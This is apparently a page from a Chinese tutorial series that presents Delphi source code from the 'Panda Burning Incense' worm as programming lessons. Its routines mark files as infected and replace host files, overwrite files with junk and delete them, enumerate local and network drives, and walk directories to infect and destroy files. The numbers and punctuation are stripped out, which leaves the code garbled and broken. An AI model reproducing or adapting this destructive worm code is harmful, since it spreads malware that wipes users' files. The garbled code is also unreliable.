从“熊猫烧香”中学程序[3]

//写入已感染的标记

DstStreamSeek( );

iID := $;

DstStreamWrite(iID );

finally

HdrStreamFree;

end;

finally

SrcStreamFree;

IcoStreamFree;

DstStreamSaveToFile(FileName); //替换宿主文件

DstStreamFree;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i Size Mass Max Len: Integer;

begin

try

SetFileAttributes(PChar(FileName) ); //去掉只读属性

FileHandle := FileOpen(FileName fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle nil); //文件大小

i := ;

Randomize;

Max := Random(); //写入垃圾码的随机次数

if Max < then

Max := ;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i < Max do

begin

FileSeek(FileHandle i * Mass ); //定位

//写入垃圾码将文件彻底破坏掉

FileWrite(FileHandle Catchword Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := to do //遍历个字母

begin

D := Chr(i + );

Str := D + :;

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录感染和摧毁文件 }

procedure LoopFiles(Path Mask: string);

var

i Count: Integer;

Fn Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRecAttr <> ) and (SearchRecName <> ) and

(SearchRecName <> ) then

Result := //不是目录

else if (SearchRecAttr = ) and (SearchRecName <> ) and

(SearchRecName <> ) then

Result := //不是根目录

else Result := ; //是根目录

[] [] [] [] []

上一篇：从“熊猫烧香”中学程序[4]

下一篇：从“熊猫烧香”中学程序[2]